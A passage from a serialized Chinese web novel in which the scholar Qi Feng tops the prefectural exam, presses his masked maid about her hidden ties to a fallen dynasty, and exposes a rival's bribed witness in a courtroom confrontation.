齐枫站在人群中,神色从容。
赵明兰挤到他身旁,兴奋道:“齐公子,准备好当秀才了吧?我可等着看袁克良那张臭脸!”
周子陵也笑道:“齐兄,榜单一出,你的身份可就不一样了!”
楚清秋目光柔和,静静注视着齐枫,还是开口说了一句:“少爷,无论结果如何,我都信你。”
齐枫闻言,回头冲她一笑,温声道:“青禾,借你吉言。”
小荷则早已按捺不住,踮着脚尖,嚷道:“快念啊!少爷肯定是第一!”
衙役清了清嗓子,高声念道:“春闱榜单,头名,齐枫!”
此言一出,广场上顿时沸腾,欢呼声,惊叹声此起彼伏。
士子们议论纷纷:“齐枫!果然是他!”
“青田县的诗才,名不虚传!”
“榜首啊,这下府城可热闹了!”
小荷瞪大双眼,猛地跳了起来,尖叫道:“太好了!少爷,你中了!”
第八十七章 扬名
小荷兴奋得小脸通红,拽着楚清秋的袖子直晃,引得周围人群一阵笑声。
齐枫站在榜台前,面上带着一抹淡笑,波澜不惊。
中秀才在他意料之中,春闱的题目虽难,却难不倒他前世的学识与今生的才华。
他目光扫过榜单,确认了自己的名字,心中暗道:状元之路,又近了一步。
赵明兰挤过人群,拍着齐枫的肩膀,豪气干云:“齐公子,榜首!我就知道你行!不知道为什么,对你拿到榜首,我心里一点都不意外!”
周子陵哈哈大笑,上前抱拳:“齐兄,榜首之名,实至名归!青田县的诗才,今日彻底扬名府城!这秀才身份一到,你可就完全不一样了!”
徐远也挤过来,咧嘴笑道:“齐枫,你这脑子简直不是人啊!榜首啊,府城谁人不服?今晚我包场,咱不醉不归!”
陈玉堂也龇着一口大牙:“齐兄弟,秀才榜首,这下袁克良那家伙怕是要气得吐血!兄弟我待会要敬你三杯!”
楚清秋站在齐枫身旁,青衣面纱,目光柔和,轻轻道:“少爷,恭喜。秀才之名,名副其实。”
小荷在一旁蹦蹦跳跳,嚷道:“青禾姐姐,少爷中了榜首!咱们得去醉月楼庆祝!南宫姐姐肯定也等着呢!”
齐枫轻笑,拍了拍小荷的头:“小荷,嘴甜了。揭榜已成,咱们先谢过诸位兄台,再去庆贺不迟。”
围观众人议论纷纷,士子们羡慕地看向齐枫。
有人高声道:“齐枫这榜首,实至名归!听说他在醉月楼一首诗压服南宫玥,果然厉害!”
另一人接话:“可不是?官盐案他也帮着破了,这等才智,谁能比?”
还有人低声嘀咕:“听说袁克良和齐公子不对付,袁克良那家伙,估计这会儿躲在哪儿咬牙呢!”
此言引得一阵哄笑,气氛愈发热烈。
赵明兰昂首挺胸,环视众人,扬声道:“都听见了吧?齐公子是榜首!从今往后,谁敢再说齐公子半句不是,我赵明兰第一个不答应!”
她转头看向齐枫,挤眉弄眼:“齐公子,秀才身份到手,状元之路可不远了!今晚你又得给咱们露一手诗才!我可等着了。”
周子陵点头附和:“对!齐兄,秀才只是开始,状元才是你的目地!”
徐远拍手笑道:“这就体现出我的未卜先知了,我早就知道齐枫要高中,已经派人去定了最好的雅间,南宫姑娘的琴曲,咱得听个够!”
齐枫拱手笑道:“诸位抬爱,齐某愧不敢当。醉月楼之约,齐某自当奉陪。”
一行人说笑着离开广场,朝醉月楼而去。
街道上行人络绎不绝,榜首的消息如风般传开,路人纷纷投来敬佩的目光。
楚清秋走在齐枫身旁,提醒了一句:“少爷,秀才之名虽好,但是萧无痕的追查怕是不会停。揭榜之后,府衙之行,我们还是需得小心。”
齐枫点点头,温声道:“青禾,放心,萧无痕要查,自有赵大人周旋,咱们只管光明正大。”
小荷兴奋道:“少爷,青禾姐姐说得对!不过今儿是高兴的日子,萧无痕那家伙再厉害,也不能坏了咱们的兴致,醉月楼的糕点可好吃了!”
赵明兰哈哈一笑,拍了拍小荷的肩:“小荷,瞧你这馋样!今晚齐公子的庆功宴,我包你吃好喝好!”
醉月楼前,丝竹声从楼内飘出,透着几分雅致。
南宫玥一身水蓝长裙,倚在门口,见到齐枫一行人,笑盈盈迎上来:“齐公子,恭喜!榜首之名,早已传遍府城。南宫玥在此候着,为公子贺喜!”
齐枫笑道:“南宫姑娘消息灵通,齐某不过刚中榜首,你便已知晓,多谢美意。”
楚清秋微微颔首,淡淡道:“南宫姑娘客气了。少爷才华,府城皆知,榜首不过水到渠成。”
小荷在一旁咯咯笑:“南宫姐姐,少爷中了榜首,你今晚得弹首好曲子,给我们助兴!”
南宫玥掩唇轻笑,引着众人入内:“那是自然。雅间已备好,诸位请。”
一行人步入醉
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月楼,雅间内檀香袅袅,桌上早已摆满佳肴美酒。
南宫玥亲自斟酒,敬了齐枫一杯:“齐公子,秀才榜首,状元可期。这一杯,祝你前程似锦!”
齐枫举杯回敬,笑道:“借南宫姑娘吉言,齐某自当努力。”
酒宴从中午直喝到傍晚,雅间内笑声不断。
赵明兰豪气地举杯:“齐公子,这杯我敬你!”
周子陵醉眼朦胧,接话道:“齐兄,来,干了!”
陈玉堂端着酒杯,沉声道:“齐兄弟,兄弟我没别的,就盼着你高中状元,扬我府城威名!”
齐枫从容应对,杯来盏往,始终保持几分清醒。
楚清秋坐在一旁,浅酌慢饮,目光不时落在齐枫身上。
小荷早已吃得满嘴油光,嚷道:“少爷,这酒真香!南宫姐姐的琴也弹得太好听了!”
南宫玥轻笑,抚琴一曲,音律悠扬,引得众人连连叫好。
夜色渐深,酒宴散去,众人多半醉态可掬。
赵明兰醉得脸颊通红,拍着齐枫肩膀:“齐公子,状元……状元你得给我拿回来!”
周子陵趴在桌上,嘀咕道:“齐兄,醉月楼……下次还来……”
徐远和陈玉堂互相搀扶,嘴里还在喊着要再喝。
南宫玥送众人到门口,笑道:“齐公子,今日大喜,府城传遍你的名字。改日再来,玥儿还有新曲献上。”
齐枫拱手谢过,带着楚清秋和小荷返回客栈。
夜色下的街道清冷,灯笼的微光摇曳,映在青石板路上。
客栈内,烛火昏黄,齐枫推开房门,略带醉意地坐下。
小荷醉得东倒西歪,嚷着“少爷好厉害”便趴在桌上睡了过去。
楚清秋细心为齐枫端来一盏清茶,又替小荷盖上薄毯,转身欲走。
齐枫忽地开口:“青禾,留步。”
楚清秋脚步一顿,青衣下的身影微微僵住。她缓缓转过身,面纱后的目光闪烁了一下,似有波澜。
她站定在烛光边缘:“少爷,有何事?”
第八十八章 女帝身份暴露?
齐枫并未起身,只是直勾勾地盯着她,眼神深邃如夜,嘴角挂着一抹若有若无的笑意,未发一言。
烛火跳跃,映得他面容半明半暗,带着一股无形的压迫感。
楚清秋被他盯得心中莫名发毛,眉头微蹙,语气也带上了一丝不耐:“少爷,若无事,青禾便先出去了。”
她作势要走,步伐却比平时慢了半拍,就像是在等待齐枫的回应,空气中弥漫着一股微妙的紧张。
齐枫终于开口:“青禾,你当真不打算与我说些什么?”
他目光依旧锁在她身上,像是要透过面纱剖开她的神情。
楚清秋一怔,眼中闪过一丝慌乱,转瞬即逝。
她垂眸,动作略显僵硬:“少爷何出此言?青禾不知你在说些什么。”
她的手指却在袖中微微收紧,明显内心不平静。
齐枫轻笑一声,起身缓缓踱到她身前,折扇在掌中轻轻一转,目光悠然。
“青禾,我说过,每个人都有自己的秘密,这本无妨。我原也没打算探究你的过往,毕竟你随我也有将近半年时光了,忠心耿耿,我信你。”
他顿了顿,目光变得深邃。
“可如今情况不同了。萧无痕来了府城,碧玺龙佩的案子越闹越大,城郊命案的诡异手段,连大内高手都折了。接下来的麻烦,怕是躲不过。你若信得过我,不如将你的秘密说上一二,免得我措手不及,无法护你周全。”
楚清秋闻言,身体微微一僵,面纱下的目光紧紧盯着齐枫,沉默不语。
烛光在她眼中跳跃,映出几分挣扎,仿佛在权衡是否该卸下心防。
齐枫见她不答,笑了笑,语气更轻:“其实,就算你不说,我也大致能猜出一些。比如……”
他故意拉长语调,目光扫过她的青衣,缓缓道,“你应该不是景国之人吧?”
此言一出,楚清秋的脸色骤然一变,眼中闪过一丝震惊,呼吸都不自觉急促了片刻。
她手指在袖中猛地收紧,目光再次审视齐枫,似乎是想要从他的神情中找出破绽。
齐枫却依旧笑眯眯的,一脸从容:“青禾,你不必如此警惕。我对你并无敌意,这么长时间,你应当也感觉得到。若我真想害你,现在发生这么多事,我大可袖手旁观,任你被人追捕,又何必费心费力的来问你这些?”
楚清秋的目光渐渐柔和,被他的话触动。
她沉默片刻,眼中挣扎之色稍退,低声道:“少爷……你是何时发现的?”
她的声音轻得几乎听不清,齐枫折扇轻合靠在窗边,目光望向窗外的夜色,笑道:“何时?说来也不难。青禾,你的言谈举止,气度不凡,绝非普通婢女。你的武艺,出手凌厉,招式却带着几分古意,与景国的武学路数截然不同。”
他顿了顿,转头看向她,眼中闪过一丝狡黠。
“更别提你对碧玺龙佩的反应,还有,你对乾朝之事的态度,你的身法,你的戒备,都透着不寻常,加之卢大人对乾朝余孽的追查,件件桩桩,都指向你与前朝的关联。”
他脸色渐渐放缓,一脸安抚,“青禾,我并非要逼你,只是如今萧无痕在侧,府城风波将起。你若再藏着掖着,怕是连我都护不住你。”
楚清秋闻言,呼吸微微一滞,目光中多了几分复杂。
她低声道:“少爷果然聪慧,青禾瞒不过你。”
她叹了口气,这一口气中带着一丝无奈,不得不承认齐枫的洞察力。
齐枫摆手,笑道:“青禾,过奖了。我不过多看了几眼,多想了片刻罢了。你的身世,我虽猜到几分,却不愿妄断。如今萧无痕在府城,龙佩案越闹越大,你的身份若暴露,怕是凶多吉少。你如果相信我,不如将你的真实来历说出来。我多了解一分,日后面对萧无痕,也就能多帮你一分。”
楚清秋沉默良久,目光在齐枫脸上游移,烛火跳跃,客栈内的空气仿佛凝固,只有窗外夜风吹过,带来几分凉意。
齐枫不急不躁,始终保持着那
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抹从容的笑意。楚清秋的眼神渐渐松动,总算在内心挣扎后做出了决定。
她低垂眼帘:“少爷,你待青禾恩重如山,青禾并非不知感恩。只是……”
她顿了顿,目光抬起,直视齐枫,“有些事,青禾背负太重,怕连累少爷。”
齐枫摇头,温声道:“青禾,你我相处,早已不只是主仆。你的难处,我愿分担,行了,我话也不多说,你若信我,便说吧。”
楚清秋的目光中闪过一丝动容,她深吸一口气,平复了一下情绪,这才道:“少爷,你既猜到青禾与景国无关,想必也猜到几分乾朝之事。青禾的确与乾朝有些渊源。”
齐枫挑眉,笑道:“果然如此。我早猜你就算是在乾朝也并非普通人吧?身份呢?可以透露吗?”
楚清秋苦笑一声,面纱下的神情复杂:“少爷,青禾并非有意隐瞒。只是乾朝之事,牵连太广,青禾怕……”
她停下,目光中多了一丝犹豫。
齐枫踏前一步。
“青禾,怕什么?怕连累我?我要是害怕连累,就不会问这么多了。”
楚清秋的目光在齐枫脸上停留良久,一时之间摸不透齐枫的真心。
不得不承认的是,齐枫确确实实是她平生所见之人之中最为特别的。
可在乾朝之时,就是被心腹出卖,导致楚清秋心里的防备同样不小。
窗外的夜色深沉,客栈内的烛火微微一晃,映得她的青衣更显清冷。
她终于轻叹一声,卸下了一块心头重石:“少爷,青禾并非不信你,前朝之事,凶险万分,既然少爷如此坦诚,青禾便不再隐瞒。”
齐枫静静等待着她接下来的话。
他知道,想让一个人吐露出自己的秘密并不是一件容易的事情。
而在这个时候,他最需要的就是静静的等着,不要去打扰对方。
果不其然,又过了片刻之后。
楚清秋总算开口了,她深吸一口气:“既然如此,青禾便不瞒少爷了。”
第九十章 对峙
齐枫眉头微挑,推开房门,缓步走出。
小荷揉着惺忪睡眼,跟在身后嘀咕:“这袁克良一大早嚷什么?烦**了!”
楚清秋青衣面纱,目光落在门外那一队黑甲骑士身上。
齐枫步出客栈,迎上袁克良的目光,笑道:“袁公子,一大早带这么多人,气势不小。何事如此急切?”
袁克良骑在马上,锦袍在晨光下闪着光泽,他冷笑一声,目光阴鸷。
“齐枫,你还真有本事啊!春闱榜首,秀才身份到手,风头出尽!青田县的穷书生,如今也可以在本少爷面前耀武扬威了。”
他话里明显夹杂着几分嫉恨,眼中怒火几乎要喷出来了。
齐枫笑容更深:“袁公子过奖了。秀才不过小小功名,齐某顺手为之,算不得什么本事。”
他一脸轻描淡写,目光却带着几分嘲讽。
秀才之名,对他而言不过是冰山一角,可袁克良却连这点成就都求而不得,这话无疑戳中了袁克良的痛处。
袁克良脸色一僵,咬牙切齿,恨声道:“牙尖嘴利!齐枫,你别得意!秀才又如何?今日你可别忘了,昨天在榜台前,你答应过要带你的侍女去府衙,配合萧大人调查!”
他顿了顿,目光扫向楚清秋,“城郊命案,诡异非常,你的青禾姑娘,怕是脱不了干系!”
齐枫目光微眯,折扇在掌中轻轻一转:“袁公子记性不错。齐某自然没忘,既答应了萧大人,今日自当去府衙走一趟。袁公子何必如此急切?莫非已有证据在手?”
袁克良冷哼一声,嘴角勾起一抹阴冷的弧度。
“齐枫,你待会儿就笑不出来了!本少爷已找到些关于你这侍女的线索,到了府衙,定让你知道什么叫自讨苦吃!”
他话音刚落,身后的黑甲骑士齐齐踏前一步,马蹄声震得地面微颤,气势逼人。
小荷气得跳脚,叉腰怒道:“袁克良,你又在这儿胡说八道!青禾姐姐清清白白,陪着少爷读书练字,哪来的什么线索?你就是嫉妒我家少爷中了榜首,存心污蔑!”
楚清秋站在齐枫身旁,面纱下的目光清冷,淡淡道:“袁公子污蔑之举可真是徒惹笑柄。”
袁克良冷笑,指着楚清秋道:“是不是污蔑,到了府衙自见分晓!齐枫,别在这儿磨蹭,跟本少爷走!”
他翻身下马,挥手示意身后的骑士让开一条路,目光却始终锁在齐枫身上。
齐枫目光扫过袁克良,波澜不惊笑道:“袁公子既然如此盛情,齐某自当奉陪。青禾,小荷,咱们走。”
他转身看向楚清秋,安抚道,“不必多言,府衙公断,自有真相。”
楚清秋目光微动,面纱下的神情复杂,轻轻点头:“少爷,青禾明白。”
小荷嘟着嘴跟在身后,嘀咕道:“青禾姐姐,你别怕,咱们才不怕这袁克良!他就是个欺软怕硬的家伙!”
她话音刚落,引得一旁的骑士投来冷眼,小荷却毫不示弱,瞪了回去。
一行人登上府衙派来的马车,马车缓缓驶向府衙。
车厢内,齐枫靠在窗边,神色从容。
楚清秋坐在对面,眼中带着几分不安。
“少爷,萧无痕此人手段狠辣。今日府衙之行,怕是不简单。”
齐枫温声道:“青禾,无需担心。萧无痕要查,不过是想抓乾朝余孽的把柄。你我问心无愧,他能奈何?赵大人也在,袁克良的伎俩,翻不出大浪。”
楚清秋看着齐枫从容的神情,心中的担忧稍缓。
她轻叹一声道:“少爷豁达,青禾佩服。只是……”
她顿了顿,目光复杂,“若萧无痕真查出什么,少爷可莫要被青禾连累。”
齐枫摆手,笑道:“青禾,你我何谈连累?今日之事,兵来将挡,放心便是。”
小荷在一旁瞪大眼睛,插嘴道:“就是!少爷现在是秀才,榜首!袁克良那家伙再闹,也不敢把少爷怎么样!青禾姐姐,你别怕,少爷肯定有办法!”
齐枫轻笑出声,拍了拍她的头
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:“小荷,嘴甜了。到了府衙,莫要乱说话,听本少爷的。”
马车在府城街道上缓缓前行,车外的喧嚣渐渐远去,晨光透过车帘,洒在三人身上。
齐枫目光望向窗外,心中却在盘算。
袁克良此番气势汹汹,可能是抓住了什么线索,难不成得了萧无痕的授意?
他在府衙见机行事,护她周全。
不多时,马车停在府衙门前。
府衙大门庄严肃穆,门前的卫兵持矛而立,齐枫率先下车,楚清秋与小荷紧随其后。
袁克良骑马在前,回头冷笑:“齐枫,到了府衙,你可得好好表现!别让萧大人失望!”
齐枫淡淡道:“袁公子费心了,你证据可准备齐全了?待会不要闹乌龙!”
袁克良脸色一僵,冷哼一声,率先迈入府衙。
齐枫带着楚清秋与小荷步入正厅,气氛肃然。
主位上,三人端坐,气势各异。
卢正淳一身官袍,面容威严,目光如炬,萧无痕身披赤红锦袍,圆月弯刀置于身侧,杀气凌然。
赵明德则稳坐一旁,官袍整齐,眼中带着几分笑意。
三人齐齐看向走进的齐枫,空气中弥漫着一股无形的压迫。
齐枫拱手行礼:“齐枫见过卢大人,萧大人,赵大人。”
赵明德轻轻咳嗽一声,打破厅内的沉默,起身笑道:“齐公子,恭喜恭喜!春闱榜首,秀才之名,实至名归!府城士子,皆以你为傲!”
他顿了顿,目光扫向一旁的袁克良,“只是,袁公子一再言说,你身边这位青禾姑娘与城郊命案有关。为免宵小之辈借此生事,污我府城清誉,本官与卢大人,萧大人商议,还是请你与青禾姑娘来一趟府衙,查清此事。齐公子,望你莫要介意。”
齐枫目光平静,笑道:“赵大人言重了。齐某与青禾问心无愧,既有疑惑,自当配合调查。真相如何,总要证据说话,免得有心人借机生事。”
他这话明显就是在点袁克良。
第九十一章 证据
袁克良站在一旁,脸色铁青,眼中怒火几乎喷出,却强压着不敢发作。
卢正淳微微颔首,沉声道:“齐公子说得好。查案以证据为凭,袁公子既言之凿凿,想必已有真凭实据。”
他目光转向袁克良,“袁公子,你既指证齐公子的侍女,不妨将证据呈上,空口无凭,徒惹笑柄。”
袁克良冷哼一声,昂首道:“卢大人放心,本少爷岂会空口白牙?今日定让这姓齐的知道,什么叫自讨苦吃!”
他话音刚落,厅外忽地传来一阵急促的脚步声,夹杂着赵明兰清脆的嗓音。
“叔父!这袁克良又在胡说八道!我倒要看看,他能有多无耻!”
众人循声望去,只见赵明兰一身鹅黄劲装,风风火火闯入正厅,身后跟着周子陵,南宫玥与几名随从。
赵明兰叉腰站在齐枫身旁,瞪着袁克良:“袁克良,你可真行!齐公子刚中榜首,你就迫不及待来泼脏水!青禾姑娘清清白白,陪着齐公子读书练字,你哪只眼睛看到她跟命案有关?分明是你嫉妒齐公子的才名,想借萧大人的刀压他一头!”
周子陵抱拳上前,沉声道:“卢大人,赵大人,齐兄乃青田县才子,榜首之名,府城皆知,袁克良这点心思,谁看不出来?我们今日是过来旁听的。”
南宫玥一身水蓝长裙,盈盈笑道:“卢大人,萧大人,赵大人,齐公子才华,醉月楼的士子们皆知,望诸位大人明察。”
小荷站在齐枫身旁,气得小脸通红,叉腰道:“就是!袁克良,你老说青禾姐姐有问题,有本事拿出证据啊!少爷中了榜首,你眼红就直说,丢人现眼!”
赵明兰哈哈一笑,拍了拍她的肩:“小荷,说得好!袁克良这家伙,就是个跳梁小丑!”
袁克良脸色涨红,咬牙道:“赵明兰,你少在这儿胡说!齐枫的侍女行踪诡秘,本少爷今日就让你们看看,什么叫证据!”
他猛地一挥手,厅外走进来一人,穿着灰布短衫,低着头,脚步有些踉跄。
齐枫目光一扫,认出此人是他们下榻客栈的伙计,平日里负责打扫送水,名叫阿福。
阿福进厅后,扑通一声跪下:“小的拜见卢大人,萧大人,赵大人……”
他头埋得极低,目光心虚地瞥向齐枫与楚清秋,不敢直视。
楚清秋面纱下的目光微冷,明显被这突如其来的证人扰乱了心神。
赵明德目光一沉,看向阿福,沉声道:“你既入厅,想必是来作证的?”
阿福跪在地上,头埋得极低,灰布短衫已被汗水浸湿。
“小的……小的的确是来作证的。”
他偷瞥了袁克良一眼,又迅速低头。
袁克良站在一旁,嘴角勾起一抹阴冷的弧度,昂首道:“卢大人,萧大人,赵大人,这阿福可是齐枫下榻客栈的伙计,亲眼见过**禾的异常举动!城郊命案那晚,**禾的行踪,定能从他嘴里问出真相!”
“齐枫,你不是口口声声说清白?今儿就让你这侍女现原形!”
齐枫依旧目光平静,笑道:“袁公子好大的自信。既然有证人,齐某自当洗耳恭听。”
赵明兰站在厅角,双手环胸,冷哼一声:“袁克良,你可真会找人!一个客栈伙计,也敢拿来当证人?莫不是你给了什么好处,逼他胡编乱造?”
阿福听到这话,头埋得更低,像被她的气势震住了。
周子陵抱拳上前,沉声道:“卢大人,袁克良与齐兄素有嫌隙,这伙计若真有证据,早就该报官,何必等到今日?分明是袁克良想借机打压齐兄!”
卢正淳微微颔首,目光转向阿福,沉声道:“阿福,你既为证人,便将所知之事如实道来。若有半句虚言,府衙自有律法处置。”
阿福咽了口唾沫:“小的,小的那晚在客栈后院打扫,深夜时分,瞧见青禾姑娘从后门出去,身法极快,像是,像是会武功。”
他顿了顿,偷瞥袁克良一眼,继续道:“小的还听她与人说了些龙佩
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,城郊之类的话,之后便不见了踪影。”
此言一出,正厅内的气氛骤然一紧。
小荷气得跳脚,指着阿福怒道:“你胡说!青禾姐姐那晚明明在客栈陪我,哪有什么后门出去?你这伙计,定是袁克良买通了,存心害人!”
楚清秋冷冷问道:“这位小哥,口说无凭。你既称我深夜外出,可还有其他人证?又可有物证?”
阿福头埋得更低,汗水顺着额角滑落。
齐枫目光扫过阿福,笑道:“阿福,你在客栈干活,平日里倒也勤快。怎的今日说出这番话?深夜后院,光线昏暗,你怎能看清青禾的身法?又怎能听清她说了什么?”
“莫不是有人教你这些话,许了你什么好处?”
阿福身子一颤,声音更弱:“小的……小的绝无虚言!那晚的确瞧见青禾姑娘……”
他话未说完,赵明兰冷笑一声,打断道:“瞧见?袁克良给了你多少银子,让你在这儿编故事?客栈后院黑灯瞎火,你一个伙计,半夜不睡觉,跑去偷听?当我们都是傻子?”
袁克良脸色一变,怒道:“赵明兰,周子陵,你们少在这儿胡搅蛮缠!阿福的证言,清清楚楚,齐枫,你还想狡辩?”
他转向萧无痕,恭敬道:“萧大人,这伙计的证言,足以证明**禾可疑,请大人下令,拿人!”
萧无痕目光冷冽,缓缓扫过阿福,沉声道:“证言而已,尚需查证,齐枫,你的侍女若真清白,可敢让她留下受审?”
他的圆月弯刀的寒光一闪,引得厅内众人心头一紧。
齐枫拱手道:“萧大人,青禾随我问心无愧,既有人指证,齐某自当配合调查。不过……”
他目光扫向袁克良,“袁公子如此急切,莫不是早已备好其他证据?齐某拭目以待。”
赵明德目光一沉:“袁公子,证人已出,你还有何证据?若仅凭一人之言,便要定罪,怕是难服众心。”
此话一出,袁克良脸色一变。
第九十二章 我也有证据
袁克良咬牙,强自镇定:“赵大人,证据不止这些!阿福的证言,只是开始,**禾的行踪,定与乾朝余孽有关,待本少爷查清,定让齐枫无话可说!”
卢正淳摆手,示意众人安静:“袁公子,空口无凭,难成定论。阿福的证言,需有旁证佐之。你若还有证据,尽早呈上。”
他的目光扫过齐枫与楚清秋,“齐公子,青禾姑娘,今日之事,府衙自会查清。你二人可有话说?”
齐枫拱手,笑道:“卢大人,齐某与青禾问心无愧。阿福所言,不过捕风捉影,齐某愿配合调查,但望一切以证据为凭。”
楚清秋微微颔首:“青禾愿受大人审查,只求真相大白,免遭无端污蔑。”
齐枫突然看向袁克良:“齐某也有份证据,不知诸位大人可愿一观?”
此言一出,正厅内众人目光齐聚。
赵明德挑眉,眼中闪过一丝兴趣,沉声道:“齐公子既有证据,便呈上来。本官倒要看看,能否洗清青禾姑娘的嫌疑。”
卢正淳微微颔首:“齐公子,请。”
萧无痕则一言不发。
袁克良心头咯噔一下,强自镇定,冷笑道:“齐枫,你少在这儿故弄玄虚!什么证据?莫不是又想耍嘴皮子,拖延时间?”
他眼中闪过一丝不安,明显对齐枫的从容感到不妙。
赵明兰哈哈一笑,拍手道:“袁克良,你慌什么?齐公子可是榜首才子,手里没点真东西,会在这儿跟你废话?快拿出来,让这家伙瞧瞧什么叫打脸!”
齐枫目光平静,缓缓道:“诸位大人,袁公子的证人,言之凿凿,齐某自不敢轻视,只是,证据之事,需得真凭实据。齐某的证据,稍后便呈。”
赵明德摆手道:“齐公子,若有证据速速呈上,府衙自会公断,萧大人,卢大人,还有本官定为你与青禾姑娘做主。”
萧无痕总算开口了,他缓缓道:“齐枫,你的证据,最好言之有物。”
齐枫拱手,笑道:“诸位大人放心,齐某的证据,绝非空口白话。只是……”
齐枫突然开口:“既然袁公子提到旁证,齐某倒是想请一位证人上堂。”
袁克良脸色一变:“你什么意思?”
齐枫不慌不忙地拱手:“卢大人,可否请客栈掌柜上堂作证?”
赵明德点头示意,衙役很快带进来一个中年男子,正是齐枫下榻的客栈掌柜。
掌柜战战兢兢地行礼:“小人见过各位大人。”
齐枫温和地问道:“掌柜的,请问客栈后院可有夜巡制度?”
掌柜老实回答:“回公子的话,客栈后院每晚都有专人巡视,从亥时到寅时,每半个时辰一次。”
“那命案当晚,后院可有异常?”
掌柜摇头:“那晚小人亲自查过,后院一切正常,没见任何人出入。”
袁克良急道:“胡说!阿福明明看见……”
齐枫打断道:“掌柜的,阿福那晚当值吗?”
掌柜面露难色:“这,阿福那晚不当值,他应该在房里休息。”
厅内顿时一片哗然。
赵明兰嗤笑道:“袁克良,你的证人连当班都不是,怎么看见青禾姑娘出去的?”
袁克良额头渗出冷汗:“他,他可能是起夜!”
齐枫继续追问:“掌柜的,客栈后院可有照明?”
“回公子,后院只有一盏灯笼,夜间光线昏暗,三丈外就看不清人脸了。”
齐枫转向阿福:“阿福,你说看见青禾姑娘身法极快地出去,在那么暗的光线下,你是如何看清的?”
阿福浑身发抖,不敢抬头:“我……我……”
袁克良厉声喝道:“阿福!你照实说就是!”
齐枫突然从袖中取出一物:“阿福,你可认得这个?”
那是一块绣着“福”字的手帕。
阿福一见,脸色大变:“这,这是?”
“这是今天早上在你房里找到的,上面可是还沾着醉月楼的酒渍。”齐枫慢条斯理地说,“而醉仙楼的伙计说,前日看见你和一位锦衣公子在雅间密谈。”
此话一出,不说他人,就连楚清秋都有些惊
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讶的看了齐枫一眼。
齐枫什么时候派人偷偷的跟着袁克良了?这事,自己怎么都不知道?
却见齐枫对着她眨了眨眼,一旁的南宫月也是轻笑一声。
齐枫心中不禁感慨,谁说女人多没好处的?
天底下若到处都是自己的女人,那还有何愁不能办的事情?
袁克良猛地站起来:“齐枫!你派人跟踪我?”
“非也。”齐枫微笑,“是阿福今早偷偷把这手帕塞给我的,上面还包着一张字条。”
赵明德沉声道:“什么字条?呈上来!”
齐枫将一张皱巴巴的纸条递给赵明德,上面写着:“小的被逼作伪证,袁公子给了五十两银子”。
厅内顿时哗然。
“没有此事,绝没有此事!小**字都不识两个,怎么可能给齐公子写字条?这一定是栽赃陷害,几位大人,还请你们一定要明察!”
阿福早已是脸色苍白,如丧考批。
魄都快要下掉了,本以为袁家在这里财大势大,再加上袁克良也说了,只要自己出面做个伪证,拿到的那些银子就可以回老家盖房娶媳妇了。
可没想到事情如今居然闹到了这个地步,此刻他当真是百口莫辩!
袁克良面如土色:“这是栽赃!”
就在此时,阿福突然崩溃大哭,连连磕头:“大人饶命!小的确实收了袁公子的银子!他威胁小的,若不作证就要害小的全家啊!”
袁克良暴怒:“你这贱-奴!”
说着就要冲上去**。
“放肆!”卢正淳拍案而起,“袁克良,你竟敢在公堂之上威胁证人?”
萧无痕冷冷开口:“袁公子,你还有何话说?”
袁克良浑身发抖,突然指向齐枫:“是他!一定是他设的局!”
齐枫淡然一笑:“袁公子,若要人不知,除非己莫为。你买通证人陷害无辜,现在证据确凿,还要反咬一口吗?”
赵明兰讥讽道:“袁克良,你这次可真是搬起石头砸自己的脚!”
袁克良脸色苍白无比。
第九十三章 厚颜无耻
厅内响起一片哄笑声。
旁听的士子和随从们交头接耳,目光落在袁克良身上,带着几分戏谑和鄙夷。
袁克良脸色涨红,咬牙切齿,强自镇定道:“赵明兰,少在这儿胡说八道!这阿福分明是齐枫买通,故意栽赃我!本少爷清清白白,怎会做这种下作之事?”
齐枫闻言,慢条斯理道:“袁公子,你这话可有意思了。阿福是你带来的人证,手帕和字条也是从他房里搜出的,上面清清楚楚写着你给了五十两银子逼他作伪证。现在人证自己招了,你反倒说是我栽赃?袁公子,你这逻辑未免太牵强了吧?”
他目光懒散,扫过袁克良,仿佛在看一个跳梁小丑。
厅内众人听了这话,又是一阵窃窃私语,士子们纷纷指责议论。
“这袁克良真是没脸没皮,证据都摆在面前了,还敢狡辩!”
“齐公子这榜首可不是白拿的,脑子转得就是快!要是我,肯定没办法这么快反击!”
赵明兰冷哼一声,踏前一步,指着袁克良道:“袁克良,你还要不要脸?齐公子是春闱榜首,青田县的才子,你是嫉妒得眼都红了吧?还敢说清清白白?我呸!”
她这一声呸,毫不留情,引得周子陵和南宫玥都忍不住轻笑出声。
小荷站在齐枫身旁,气得小脸通红,也跟着嚷道:“袁克良,我平生从未见过如此厚颜无耻之人!你自己干了见不得人的事,还想赖给少爷?青禾姐姐清清白白,你不要脸!”
袁克良被众人轮番训斥,气得浑身发抖,脸上一阵青一阵白。
他猛地转头看向阿福,咬牙切齿道:“阿福!你这贱-奴,到底收了齐枫多少好处,敢在这公堂上胡说八道!你自己胆大包天,收了银子编造谎言,想让我和齐枫互相掐起来,好让你这小人渔翁得利!”
此言一出,厅内众人皆是一愣。
阿福跪在地上,瞪大眼睛,满脸不可置信,抬起头颤声道:“袁,袁公子!你说什么?小的……小的哪敢啊!明明是您给了小的五十两银子,逼小的说青禾姑娘深夜外出,还威胁小的全家!小的怕了,才,才说了实话啊!”
阿福声泪俱下,额头磕得更响,灰布短衫已被汗水浸透,整个人抖如筛糠。
袁克良见状,怒火更盛,指着阿福喝道:“你还敢狡辩!分明是你见财起意,自己编了这些谎话!本少爷何曾威胁过你?哪来的五十两银子?你一个客栈伙计,哪来的胆子胡说!”
齐枫笑了,慢悠悠道:“袁公子,你这翻脸的速度可真快。刚才还一口咬定阿福是亲眼所见的证人,现在又说他见财起意?袁公子,你这前后不一的说辞,说服的了自己吗?”
赵明兰哈哈一笑,拍手道:“齐公子说得好!袁克良,你这嘴脸翻得比书还快!阿福是你自己带来的证人,现在看谎言藏不住了,就想把脏水泼回阿福身上?真当卢大人,萧大人和赵大人是瞎子聾子?”
周子陵抱拳上前,沉声道:“卢大人,萧大人,赵大人,袁克良此人素来与齐兄不合,嫉妒齐兄榜首之名,买通阿福作伪证,陷害齐兄和青禾姑娘,其心可诛!如今证据确凿,望诸位大人明察!”
南宫玥站在一旁神补刀。
“袁公子如此行径,实在有损府城士子的脸面。齐公子才华横溢,榜首之名实至名归,袁公子却用这种手段打压,着实令人不齿。”
袁克良被众人**,气得双拳紧握,额角青筋暴起。
他猛地转向赵明德,强压怒火道:“赵大人,您是青田县知县,素来公正!这阿福分明是齐枫买通,故意栽赃本少爷!您可不能听信一面之词!”
